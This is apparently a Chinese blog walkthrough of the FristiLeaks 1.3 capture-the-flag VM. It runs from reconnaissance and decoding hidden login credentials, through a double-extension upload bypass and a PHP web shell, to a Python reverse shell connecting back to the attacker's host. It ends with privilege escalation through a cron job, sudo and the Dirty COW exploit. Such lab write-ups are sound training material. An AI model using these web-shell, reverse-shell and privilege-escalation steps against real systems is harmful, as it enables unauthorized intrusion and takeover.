FristiLeaks: 1.3

0x01 项目地址

FristiLeaks: 1.3

0x02 靶机描述

Goal: get root (uid 0) and read the flag file

目标:获取root(uid 0)并读取flag文件

VMware users will need to manually edit the VM's MAC address to: 08:00:27:A5:A6:76

VMware用户需要手动将虚拟机的MAC地址编辑为:08:00:27:A5:A6:76

0x03 环境搭建

靶机

FristiLeaks: 1.3

NAT模式 192.168.6.158

攻击机

kali

NAT模式 192.168.6.128

根据描述,将靶机mac地址改为:08:00:27:A5:A6:76

0x04 详细步骤

1.主机发现

arp-scan -l

2.端口扫描

nmap -p- 192.168.6.158

只开放了80端口

3.目录扫描

dirsearch -u "http://192.168.6.158" -e * 

4.Web访问

浏览器访问192.168.6.158,貌似没什么东西,再看一下目录扫描扫出来的页面

http://192.168.6.158/robots.txt

这儿记录了三条数据,分别拼接到url路径上访问一下看看

http://192.168.6.158/cola
http://192.168.6.158/sisi
http://192.168.6.158/beer

三个路径访问结果都是同一张图片

5.漏洞挖掘

通过照片上的提示This is not the url,我们可以大概猜测到是想让我们寻找url链接或路径,再次回到首页,看看有没有什么有用的线索

根据页面上的大字KEEP CALM AND DRINK FRISTI->保持冷静,先喝酒,还有刚才访问的三个页面路径都是喝的,那我们尝试将fristi作为路径进行访问

http://192.168.6.158/fristi/

发现一个登录页面

遇到登录页面,尝试弱口令、暴力破解还有SQL注入都没有成功,F12查看源码时有所发现,这而记录了一份用户eezeepz写的内容,下边还有一长串base64加密后的密文,接下来去kali中对密文进行base64解码

iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==

先将密文写进1.txt

vim 1.txt

然后开始解密

base64 -d 1.txt > 2.txt
cat 2.txt

解密后显示PNG,联想到可能得解密成PNG文件

base64 -d 1.txt > 1.png

解密成功,得到一串字符

keKkeKKeKKeKkEkkEk

猜测这串字符可能是密码,配合刚才得到的用户名可以登录,尝试一下登录

eezeepz : keKkeKKeKKeKkEkkEk

登录成功

发现可以上传文件

走到这一步,猜测大概率是一个文件上传漏洞,我们传一个php文件验证一下

# phpinfo.php
<?php phpinfo();?>

开始上传

上传失败,被拦截了

通过插件Wappalyzer可以看到是Apache服务器,我们利用Apache解析漏洞来尝试绕过

将文件后缀名改为.php.gif尝试一下绕过

可以看到绕过成功,文件被上传到了/uploads目录,确认存在文件上传漏洞

6.漏洞利用

上传一句话木马尝试执行系统命令

# shell.php.gif
<?php @system($_POST[cmd]);?>

文件上传成功

接下来尝试反弹shell,反弹到kali4444端口,kali开启监听

nc -lvnp 4444

使用浏览器插件hackbar来进行post传参

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

kali成功接收到反弹shell

7.权限提升

先查看一下eezeepz用户家目录下有什么文件

cd /home/eezeepz
ls -al

在众多文件中,看到一个notes.txt,我们来查看一下

cat notes.txt

一段英文,翻译一下

总的来说,这段话的大致意思是我们可以按照要求来运行一些admin权限的命令

那我们按照要求来尝试一下

echo '/home/admin/chmod -R 777 /home/admin/' > /tmp/runthis
ls /tmp

发现生成了cronresut文件

查看一下权限

ls -al /home

可以看到admin的权限变为了777

接下来进去看看

cd /home/admin
ls

这里除了几个命令之外,有两个python脚本和两个txt文件,通过查看发现txt文件里的内容是经过加密的,那python脚本可能是加密代码,通过加密代码写一个解密脚本

# whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
# cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
# 1.py
import base64,codecs,sys

def decodeString(str):
    base64string= codecs.decode(str,'rot13')
    return base64.b64decode(base64string[::-1])

cryptoResult=decodeString(sys.argv[1])
print(cryptoResult)

LetThereBeFristi!
thisisalsopw123

猜测这两个可能是密码,尝试切换用户登录

ls /home

尝试切换用户

su fristigod 
password:LetThereBeFristi!

登录成功!

接下来提权

一、sudo提权

sudo -l
/var/fristigod/.secret_admin_stuff/doCom
cd /var
cd fristigod
cd .secret_admin_stuff
./doCom
sudo -u fristi ./doCom
sudo -u fristi ./doCom /bin/bash -p
whoami
cd /root
ls
cat fristileaks_secrets.txt

拿到flag

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

二、脏牛提权

脏牛网址firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195 (github.com)

wget下载脏牛脚本,并赋权

wget http://192.168.30.182/dirty.c
chmod 777 dirty.c

编译运行

gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456

切换firefart用户,成功提权

查看flag:

cd ~
cat fristileaks_secrets.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值